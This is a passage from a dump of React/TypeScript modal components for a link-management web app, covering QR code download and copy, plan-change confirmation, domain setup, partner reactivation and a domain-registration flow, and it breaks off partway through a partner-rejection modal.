\"blur(0px)\", opacity: 1 }}\n                exit={{ filter: \"blur(2px)\", opacity: 0.4 }}\n                transition={{ duration: 0.1 }}\n                className=\"relative flex size-full items-center justify-center\"\n              >\n                <QRCode url={url} scale={1} {...data} />\n              </motion.div>\n            </AnimatePresence>\n          )}\n        </div>\n      </div>\n\n      {/* Color selector */}\n      <div>\n        <span className=\"block text-sm font-medium text-neutral-700\">\n          QR Code Color\n        </span>\n        <div className=\"mt-2 flex gap-6\">\n          <div className=\"relative flex h-9 w-32 shrink-0 rounded-md shadow-sm\">\n            <Tooltip\n              content={\n                <div className=\"flex max-w-xs flex-col items-center space-y-3 p-5 text-center\">\n                  <HexColorPicker\n                    color={data.fgColor}\n                    onChange={onColorChange}\n                  />\n                </div>\n              }\n            >\n              <div\n                className=\"h-full w-12 rounded-l-md border\"\n                style={{\n                  backgroundColor: data.fgColor,\n                  borderColor: data.fgColor,\n                }}\n              />\n            </Tooltip>\n            <HexColorInput\n              id=\"color\"\n              name=\"color\"\n              color={data.fgColor}\n              onChange={onColorChange}\n              prefixed\n              style={{ borderColor: data.fgColor }}\n              className=\"block w-full rounded-r-md border-2 border-l-0 pl-3 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-black sm:text-sm\"\n            />\n          </div>\n          <div className=\"mt-1 flex flex-wrap items-center gap-3\">\n            {DEFAULT_COLORS.map((color) => {\n              const isSelected = data.fgColor === color;\n              return (\n                <button\n                  key={color}\n                  type=\"button\"\n                  aria-pressed={isSelected}\n                  onClick={() => setData((d) => ({ ...d, fgColor: color }))}\n                  className={`flex size-7 items-center justify-center rounded-full transition-all ${\n                    isSelected\n                      ? \"ring-1 ring-black ring-offset-[3px]\"\n                      : \"ring-black/10 hover:ring-4\"\n                  }`}\n                  style={{ backgroundColor: color }}\n                >\n                  {isSelected && <Check className=\"size-4 text-white\" />}\n                </button>\n              );\n            })}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-9 w-fit\"\n          onClick={() => {\n            setShowLinkQRModal(false);\n          }}\n        />\n        <Button\n          type=\"submit\"\n          variant=\"primary\"\n          text=\"Save changes\"\n          className=\"h-9 w-fit\"\n        />\n      </div>\n    </form>\n  );\n}\n\nfunction DownloadPopover({\n  qrData,\n  props,\n  children,\n}: PropsWithChildren<{\n  qrData: ReturnType<typeof getQRData>;\n  props: QRLinkProps;\n}>) {\n  const anchorRef = useRef<HTMLAnchorElement>(null);\n\n  function download(url: string, extension: string) {\n    if (!anchorRef.current) return;\n    anchorRef.current.href = url;\n    anchorRef.current.download = `${props.key}-qrcode.${extension}`;\n    anchorRef.current.click();\n    setOpenPopover(false);\n  }\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <div>\n      <Popover\n        content={\n          <div className=\"grid p-1 sm:min-w-48\">\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(await getQRAsSVGDataUri(qrData), \"svg\");\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download SVG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(\n                  (await getQRAsCanvas(qrData, \"image/png\")) as string,\n                  \"png\",\n                );\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download PNG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(\n                  (await getQRAsCanvas(qrData, \"image/jpeg\")) as string,\n                  \"jpg\",\n                );\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download JPEG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        {children}\n      </Popover>\n      {/* This will be used to prompt downloads. */}\n      <a\n        className=\"hidden\"\n        download={`${props.key}-qrcode.svg`}\n        ref={anchorRef}\n      />\n    </div>\n  );\n}\n\nfunction CopyPopover({\n  qrData,\n  props,\n  children,\n}: PropsWithChildren<{\n  qrData: ReturnType<typeof getQRData>;\n  props: QRLinkProps;\n}>) {\n  const [openPopover, setOpenPopover] = useState(false);\n  const [copiedURL, copyUrlToClipboard] = useCopyToClipboard(2000);\n  const [copiedImage, copyImageToClipboard] = useCopyToClipboard(2000);\n\n  const copyToClipboard = async () => {\n    try {\n      const canvas = await getQRAsCanvas(qrData, \"image/png\", true);\n      (canvas as HTMLCanvasElement).toBlob(async function (blob) {\n        // @ts-ignore\n        const item = new ClipboardItem({ \"image/png\": blob });\n        await copyImageToClipboard(item);\n        setOpenPopover(false);\n      });\n    } catch (e) {\n      throw e;\n    }\n  };\n\n  return (\n    <Popover\n      content={\n        <div className=\"grid p-1 sm:min-w-48\">\n          <button\n            type=\"button\"\n            onClick={async () => {\n              toast.promise(copyToClipboard, {\n                loading: \"Copying QR code to clipboard...\",\n                success: \"Copied QR code to clipboard!\",\n                error: \"Failed to copy\",\n              });\n            }}\n            className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n          >\n            <IconMenu\n              text=\"Copy Image\"\n              icon={\n                copiedImage ? (\n                  <Check className=\"h-4 w-4\" />\n                ) : (\n                  <Photo className=\"h-4 w-4\" />\n                )\n              }\n            />\n          </button>\n          <button\n            type=\"button\"\n            onClick={() => {\n              const url = `${API_DOMAIN}/qr?url=${linkConstructor({\n                key: props.key,\n                domain: props.domain,\n                searchParams: {\n                  qr: \"1\",\n                },\n              })}`;\n              toast.promise(copyUrlToClipboard(url), {\n                success: \"Copied QR code URL to clipboard!\",\n              });\n              setOpenPopover(false);\n            }}\n            className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n          >\n            <IconMenu\n              text=\"Copy URL\"\n              icon={\n                copiedURL ? (\n                  <Check className=\"h-4 w-4\" />\n                ) : (\n                  <Hyperlink className=\"h-4 w-4\" />\n                )\n              }\n            />\n          </button>\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      {children}\n    </Popover>\n  );\n}\n\nexport function usePartnerLinkQRModal(props: PartnerLinkQRModalProps) {\n  const [showLinkQRModal, setShowLinkQRModal] = useState(false);\n\n  const LinkQRModalCallback = useCallback(() => {\n    return (\n      <PartnerLinkQRModal\n        showLinkQRModal={showLinkQRModal}\n        setShowLinkQRModal={setShowLinkQRModal}\n        {...props}\n      />\n    );\n  }, [showLinkQRModal, setShowLinkQRModal]);\n\n  return useMemo(\n    () => ({\n      setShowLinkQRModal,\n      LinkQRModal: LinkQRModalCallback,\n    }),\n    [setShowLinkQRModal, LinkQRModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/plan-change-confirmation-modal.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { TriangleWarning } from \"@dub/ui/icons\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { Markdown } from \"../shared/markdown\";\n\nfunction PlanChangeConfirmationModal({\n  showPlanChangeConfirmationModal,\n  setShowPlanChangeConfirmationModal,\n  onConfirm,\n}: {\n  showPlanChangeConfirmationModal: boolean;\n  setShowPlanChangeConfirmationModal: Dispatch<SetStateAction<boolean>>;\n  onConfirm: () => void | Promise<void>;\n}) {\n  const { slug } = useWorkspace();\n  const [isSubmitting, setIsSubmitting] = useState(false);\n\n  return (\n    <Modal\n      showModal={showPlanChangeConfirmationModal}\n      setShowModal={setShowPlanChangeConfirmationModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"border-b border-neutral-200 px-4 py-3 sm:px-6 sm:py-4\">\n        <h3 className=\"text-lg font-medium\">Plan change confirmation</h3>\n      </div>\n\n      <div className=\"flex flex-col gap-4 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"flex flex-col items-start gap-3 rounded-lg border border-amber-200 bg-amber-50 p-4\">\n          <TriangleWarning className=\"size-5 text-amber-600\" />\n          <p className=\"text-sm font-medium text-amber-900\">\n            This change will affect your partner program\n          </p>\n        </div>\n\n        <Markdown className=\"list-decimal\">\n          {[\n            \"- You will lose access to your partner program.\",\n            \"- Your partner program will be deactivated and partners will be notified automatically.\",\n            \"- Partner links will stop tracking new activity.\",\n            `- Any [pending payouts](/${slug}/program/payouts?status=pending) must be communicated and settled directly with your partners.`,\n          ].join(\"\\n\")}\n        </Markdown>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 px-4 py-5 sm:px-6\">\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Cancel\"\n          onClick={() => setShowPlanChangeConfirmationModal(false)}\n        />\n        <Button\n          variant=\"primary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Continue\"\n          loading={isSubmitting}\n          disabled={isSubmitting}\n          onClick={async () => {\n            if (isSubmitting) return;\n            setIsSubmitting(true);\n            await onConfirm();\n            setIsSubmitting(false);\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function usePlanChangeConfirmationModal({\n  onConfirm,\n}: {\n  onConfirm: () => void | Promise<void>;\n}) {\n  const [showPlanChangeConfirmationModal, setShowPlanChangeConfirmationModal] =\n    useState(false);\n\n  // Use ref to avoid re-renders when parent state changes\n  const onConfirmRef = useRef(onConfirm);\n  onConfirmRef.current = onConfirm;\n\n  const PlanChangeConfirmationModalCallback = useCallback(() => {\n    return (\n      <PlanChangeConfirmationModal\n        showPlanChangeConfirmationModal={showPlanChangeConfirmationModal}\n        setShowPlanChangeConfirmationModal={setShowPlanChangeConfirmationModal}\n        onConfirm={() => onConfirmRef.current()}\n      />\n    );\n  }, [showPlanChangeConfirmationModal]);\n\n  return useMemo(\n    () => ({\n      setShowPlanChangeConfirmationModal,\n      PlanChangeConfirmationModal: PlanChangeConfirmationModalCallback,\n    }),\n    [setShowPlanChangeConfirmationModal, PlanChangeConfirmationModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/primary-domain-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { Button, LinkLogo, Modal } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nfunction PrimaryDomainModal({\n  showPrimaryDomainModal,\n  setShowPrimaryDomainModal,\n  props,\n}: {\n  showPrimaryDomainModal: boolean;\n  setShowPrimaryDomainModal: Dispatch<SetStateAction<boolean>>;\n  props: DomainProps;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const [loading, setLoading] = useState(false);\n  const domain = props.slug;\n\n  const setPrimary = async () => {\n    setLoading(true);\n    const response = await fetch(\n      `/api/domains/${domain}/primary?workspaceId=${workspaceId}`,\n      {\n        method: \"POST\",\n      },\n    );\n    if (response.ok) {\n      await mutate(`/api/domains?workspaceId=${workspaceId}`);\n      setLoading(false);\n      setShowPrimaryDomainModal(false);\n    } else {\n      const { error } = await response.json();\n      throw new Error(error.message);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showPrimaryDomainModal}\n      setShowModal={setShowPrimaryDomainModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 text-center sm:px-16\">\n        <LinkLogo apexDomain={domain} />\n        <h3 className=\"text-lg font-medium\">Set {domain} as primary domain</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Setting this domain as primary will make it the default domain in the\n          link creation modal, as well as in the API.{\" \"}\n          <a\n            href=\"https://dub.co/help/article/how-to-set-primary-domain\"\n            target=\"_blank\"\n            className=\"text-neutral-500 underline underline-offset-4 hover:text-neutral-800\"\n          >\n            Learn more\n          </a>\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <Button\n          onClick={() =>\n            toast.promise(setPrimary, {\n              loading: `Setting ${domain} as the primary domain...`,\n              success: `Successfully set ${domain} as the primary domain!`,\n              error: (error) => {\n                return error.message;\n              },\n            })\n          }\n          autoFocus\n          loading={loading}\n          text=\"Set as primary domain\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function usePrimaryDomainModal({ props }: { props: DomainProps }) {\n  const [showPrimaryDomainModal, setShowPrimaryDomainModal] = useState(false);\n\n  const PrimaryDomainModalCallback = useCallback(() => {\n    return props ? (\n      <PrimaryDomainModal\n        showPrimaryDomainModal={showPrimaryDomainModal}\n        setShowPrimaryDomainModal={setShowPrimaryDomainModal}\n        props={props}\n      />\n    ) : null;\n  }, [showPrimaryDomainModal, setShowPrimaryDomainModal]);\n\n  return useMemo(\n    () => ({\n      setShowPrimaryDomainModal,\n      PrimaryDomainModal: PrimaryDomainModalCallback,\n    }),\n    [setShowPrimaryDomainModal, PrimaryDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/program-welcome-modal.tsx",
    "content": "import {\n  Button,\n  Modal,\n  STAGGER_CHILD_VARIANTS,\n  useRouterStuff,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { motion } from \"motion/react\";\nimport { useParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { CheckCircleFill } from \"../shared/icons\";\nimport { ModalHero } from \"../shared/modal-hero\";\n\nfunction ProgramWelcomeModal({\n  showProgramWelcomeModal,\n  setShowProgramWelcomeModal,\n}: {\n  showProgramWelcomeModal: boolean;\n  setShowProgramWelcomeModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { slug: workspaceSlug } = useParams();\n  const { queryParams } = useRouterStuff();\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const NEXT_STEPS = [\n    {\n      text: \"Create your program application form\",\n      href: `/${workspaceSlug}/program/groups/default/branding`,\n    },\n    {\n      text: \"Set up a bank account for partner payouts\",\n      href: \"https://dub.co/help/article/how-to-set-up-bank-account\",\n    },\n    {\n      text: \"Invite more partners to your program\",\n      href: \"https://dub.co/help/article/inviting-partners\",\n    },\n    {\n      text: \"Set up click, lead, and sale-based rewards\",\n      href: `/${workspaceSlug}/program/rewards`,\n    },\n  ];\n\n  return (\n    <Modal\n      showModal={showProgramWelcomeModal}\n      setShowModal={setShowProgramWelcomeModal}\n      onClose={() =>\n        queryParams({\n          del: [\"program-onboarded\"],\n        })\n      }\n    >\n      <div className=\"flex flex-col\">\n        <ModalHero />\n        <div className=\"px-6 py-8 sm:px-12\">\n          <div className=\"relative\">\n            <div\n              ref={scrollRef}\n              onScroll={updateScrollProgress}\n              className=\"scrollbar-hide grid max-h-[calc(100vh-350px)] gap-4 overflow-y-auto pb-4\"\n            >\n              <h1 className=\"text-lg font-medium text-neutral-950\">\n                Welcome to your partner program\n              </h1>\n              <p className=\"text-sm text-neutral-500\">\n                You're now ready to start growing your revenue on autopilot with\n                your partners.\n              </p>\n              <p className=\"text-sm text-neutral-500\">\n                To get started, here are some next steps:\n              </p>\n              <motion.div\n                variants={{\n                  show: {\n                    transition: {\n                      staggerChildren: 0.08,\n                    },\n                  },\n                }}\n                initial=\"hidden\"\n                animate=\"show\"\n                className=\"flex flex-col gap-2 pb-2\"\n              >\n                {NEXT_STEPS.map((step, idx) => (\n                  <motion.a\n                    key={idx}\n                    variants={STAGGER_CHILD_VARIANTS}\n                    href={step.href}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className=\"flex items-center gap-2 text-sm font-medium text-neutral-800 underline decoration-dotted\"\n                  >\n                    <CheckCircleFill className=\"h-5 w-5 text-green-500\" />\n                    <p>{step.text}</p>\n                  </motion.a>\n                ))}\n              </motion.div>\n            </div>\n\n            <div\n              className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n              style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n            />\n          </div>\n\n          <Button\n            type=\"button\"\n            variant=\"primary\"\n            text=\"Get started\"\n            className=\"mt-2\"\n            onClick={() =>\n              queryParams({\n                del: [\"onboarded-program\"],\n              })\n            }\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useProgramWelcomeModal() {\n  const [showProgramWelcomeModal, setShowProgramWelcomeModal] = useState(false);\n\n  const ProgramWelcomeModalCallback = useCallback(() => {\n    return (\n      <ProgramWelcomeModal\n        showProgramWelcomeModal={showProgramWelcomeModal}\n        setShowProgramWelcomeModal={setShowProgramWelcomeModal}\n      />\n    );\n  }, [showProgramWelcomeModal, setShowProgramWelcomeModal]);\n\n  return useMemo(\n    () => ({\n      setShowProgramWelcomeModal,\n      ProgramWelcomeModal: ProgramWelcomeModalCallback,\n    }),\n    [setShowProgramWelcomeModal, ProgramWelcomeModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/prompt-modal.tsx",
    "content": "import { Button, ButtonProps, LinkLogo, Modal, useMediaQuery } from \"@dub/ui\";\nimport {\n  Dispatch,\n  HTMLProps,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\ntype PromptModelProps = {\n  title: string;\n  label: string;\n  description?: string;\n  onSubmit?: (value: string) => Promise<void> | void;\n  inputProps?: HTMLProps<HTMLInputElement>;\n  buttonProps?: ButtonProps;\n};\n\n/**\n * A generic prompt modal for text input\n */\nfunction PromptModal({\n  showPromptModal,\n  setShowPromptModal,\n  title,\n  label,\n  description,\n  onSubmit,\n  inputProps,\n  buttonProps,\n}: {\n  showPromptModal: boolean;\n  setShowPromptModal: Dispatch<SetStateAction<boolean>>;\n} & PromptModelProps) {\n  const { isMobile } = useMediaQuery();\n\n  const [value, setValue] = useState(\"\");\n  const [loading, setLoading] = useState(false);\n\n  return (\n    <Modal showModal={showPromptModal} setShowModal={setShowPromptModal}>\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 text-center sm:px-16\">\n        <LinkLogo />\n        <h3 className=\"text-lg font-medium\">{title}</h3>\n        {description && (\n          <p className=\"text-sm text-neutral-500\">{description}</p>\n        )}\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          e.stopPropagation();\n\n          setLoading(true);\n          await onSubmit?.(value);\n          setLoading(false);\n          setShowPromptModal(false);\n        }}\n        className=\"flex flex-col space-y-3 bg-neutral-50 px-4 py-8 text-left sm:px-16\"\n      >\n        <label className=\"block\">\n          <p className=\"text-sm text-neutral-700\">{label}</p>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              value={value}\n              onChange={(e) => setValue(e.target.value)}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              {...inputProps}\n            />\n          </div>\n        </label>\n\n        <Button\n          variant=\"primary\"\n          text=\"Submit\"\n          loading={loading}\n          {...buttonProps}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function usePromptModal(props: PromptModelProps) {\n  const [showPromptModal, setShowPromptModal] = useState(false);\n\n  const PromptModalCallback = useCallback(() => {\n    return props ? (\n      <PromptModal\n        showPromptModal={showPromptModal}\n        setShowPromptModal={setShowPromptModal}\n        {...props}\n      />\n    ) : null;\n  }, [showPromptModal, setShowPromptModal]);\n\n  return useMemo(\n    () => ({\n      setShowPromptModal,\n      PromptModal: PromptModalCallback,\n    }),\n    [setShowPromptModal, PromptModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/reactivate-partner-modal.tsx",
    "content": "import { reactivatePartnerAction } from \"@/lib/actions/partners/reactivate-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction ReactivatePartnerModal({\n  showReactivatePartnerModal,\n  setShowReactivatePartnerModal,\n  partner,\n}: {\n  showReactivatePartnerModal: boolean;\n  setShowReactivatePartnerModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync, isPending } = useAction(reactivatePartnerAction, {\n    onSuccess: async () => {\n      toast.success(\"Partner reactivated successfully!\");\n      setShowReactivatePartnerModal(false);\n      mutatePrefix(\"/api/partners\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const handleReactivate = useCallback(async () => {\n    if (!workspaceId || !partner.id) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerId: partner.id,\n    });\n  }, [executeAsync, partner.id, workspaceId]);\n\n  return (\n    <Modal\n      showModal={showReactivatePartnerModal}\n      setShowModal={setShowReactivatePartnerModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Reactivate partner</h3>\n      </div>\n\n      <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          <div className=\"flex items-center gap-4\">\n            <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n            <div className=\"flex min-w-0 flex-col\">\n              <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                {partner.name}\n              </h4>\n              <p className=\"truncate text-xs text-neutral-500\">\n                {partner.email}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        <p className=\"text-sm text-neutral-600\">\n          This will reactivate the partner and enable all their active links.\n          They will be able to generate commissions again.\n        </p>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n        <Button\n          onClick={() => setShowReactivatePartnerModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          text=\"Reactivate partner\"\n          loading={isPending}\n          onClick={handleReactivate}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useReactivatePartnerModal({\n  partner,\n}: {\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const [showReactivatePartnerModal, setShowReactivatePartnerModal] =\n    useState(false);\n\n  const ReactivatePartnerModalCallback = useCallback(() => {\n    return (\n      <ReactivatePartnerModal\n        showReactivatePartnerModal={showReactivatePartnerModal}\n        setShowReactivatePartnerModal={setShowReactivatePartnerModal}\n        partner={partner}\n      />\n    );\n  }, [showReactivatePartnerModal, setShowReactivatePartnerModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowReactivatePartnerModal,\n      ReactivatePartnerModal: ReactivatePartnerModalCallback,\n    }),\n    [setShowReactivatePartnerModal, ReactivatePartnerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/register-domain-modal.tsx",
    "content": "import { Modal, useRouterStuff } from \"@dub/ui\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { RegisterDomainForm } from \"../domains/register-domain-form\";\n\ninterface RegisterDomainProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onSuccess?: (domain: string) => void;\n  setRegisteredParam?: boolean;\n}\n\nconst RegisterDomain = ({\n  showModal,\n  setShowModal,\n  onSuccess,\n  setRegisteredParam,\n}: RegisterDomainProps) => {\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      drawerRootProps={{ repositionInputs: false }}\n    >\n      <h3 className=\"border-b border-neutral-200 px-4 py-4 text-lg font-medium sm:px-6\">\n        Claim .link domain\n      </h3>\n      <div className=\"scrollbar-hide mt-6 max-h-[calc(100dvh-200px)] overflow-auto overflow-y-scroll\">\n        <RegisterDomainForm\n          variant=\"modal\"\n          onSuccess={(domain) => {\n            onSuccess?.(domain);\n            setShowModal(false);\n\n            if (setRegisteredParam !== false)\n              queryParams({ set: { registered: domain.toLowerCase() } });\n          }}\n          onCancel={() => setShowModal(false)}\n        />\n      </div>\n    </Modal>\n  );\n};\n\nexport function useRegisterDomainModal(\n  props: Omit<RegisterDomainProps, \"showModal\" | \"setShowModal\"> = {},\n) {\n  const [showRegisterDomainModal, setShowRegisterDomainModal] = useState(false);\n\n  const RegisterDomainModal = useCallback(() => {\n    return (\n      <RegisterDomain\n        showModal={showRegisterDomainModal}\n        setShowModal={setShowRegisterDomainModal}\n        {...props}\n      />\n    );\n  }, [showRegisterDomainModal, setShowRegisterDomainModal, props]);\n\n  return useMemo(\n    () => ({ setShowRegisterDomainModal, RegisterDomainModal }),\n    [setShowRegisterDomainModal, RegisterDomainModal],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/register-domain-success-modal.tsx",
    "content": "import { Button, Modal, useRouterStuff } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { ModalHero } from \"../shared/modal-hero\";\n\ninterface RegisterDomainSuccessProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n}\n\nconst RegisterDomainSuccess = ({\n  showModal,\n  setShowModal,\n}: RegisterDomainSuccessProps) => {\n  const searchParams = useSearchParams();\n  const registered = searchParams.get(\"registered\");\n\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      onClose={() => queryParams({ del: \"registered\" })}\n    >\n      <div className=\"flex flex-col\">\n        <ModalHero />\n        <div className=\"px-6 py-8 sm:px-12\">\n          <div className=\"relative text-center\">\n            <h1 className=\"text-base font-medium text-neutral-950\">\n              Congratulations! You've claimed\n            </h1>\n            <p\n              className=\"animate-gradient-move font-display mt-4 bg-clip-text text-xl font-semibold text-transparent\"\n              style={{\n                backgroundImage:\n                  \"linear-gradient(45deg, #7c3aed, #db2777, #7c3aed, #db2777, #7c3aed)\",\n                backgroundSize: \"200% 100%\",\n              }}\n            >\n              {registered}\n            </p>\n            <p className=\"mt-4 text-sm text-neutral-500\">\n              Your domain is now registered and ready to use, though it may take\n              some time for the domain configuration to propagate globally.{\" \"}\n              <a\n                href=\"https://dub.co/help/article/free-dot-link-domain#claim-your-domain-and-wait-for-it-to-be-provisioned\"\n                target=\"_blank\"\n                className=\"underline transition-colors hover:text-neutral-700\"\n              >\n                Learn more.\n              </a>\n            </p>\n          </div>\n          <div className=\"mt-8\">\n            <Button\n              type=\"button\"\n              variant=\"primary\"\n              text=\"Start using your domain\"\n              className=\"mt-2\"\n              onClick={() =>\n                queryParams({\n                  del: \"registered\",\n                })\n              }\n            />\n          </div>\n        </div>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useRegisterDomainSuccessModal() {\n  const [showRegisterDomainSuccessModal, setShowRegisterDomainSuccessModal] =\n    useState(false);\n\n  const RegisterDomainSuccessModal = useCallback(() => {\n    return (\n      <RegisterDomainSuccess\n        showModal={showRegisterDomainSuccessModal}\n        setShowModal={setShowRegisterDomainSuccessModal}\n      />\n    );\n  }, [showRegisterDomainSuccessModal, setShowRegisterDomainSuccessModal]);\n\n  return useMemo(\n    () => ({ setShowRegisterDomainSuccessModal, RegisterDomainSuccessModal }),\n    [setShowRegisterDomainSuccessModal, RegisterDomainSuccessModal],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/reject-partner-application-modal.tsx",
    "content": "import { rejectPartnerApplicationAction } from \"@/lib/actions/partners/reject-partner-application\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Checkbox, Modal, useKeyboardShortcut } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ninterface RejectPartnerApplicationModalProps {\n  showRejectPartnerApplicationModal: boolean;\n  setShowRejectPartnerApplicationModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n  onConfirm?: () => void | Promise<void>;\n  confirmShortcutOptions?: {\n    modal?: boolean;\n    sheet?: boolean;\n  };\n}\n\nexport function RejectPartnerApplicationModal({\n  showRejectPartnerApplicationModal,\n  setShowRejectPartnerApplicationModal,\n  partner,\n  onConfirm,\n  confirmShortcutOptions,\n}: RejectPartnerApplicationModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const [reportFraud, 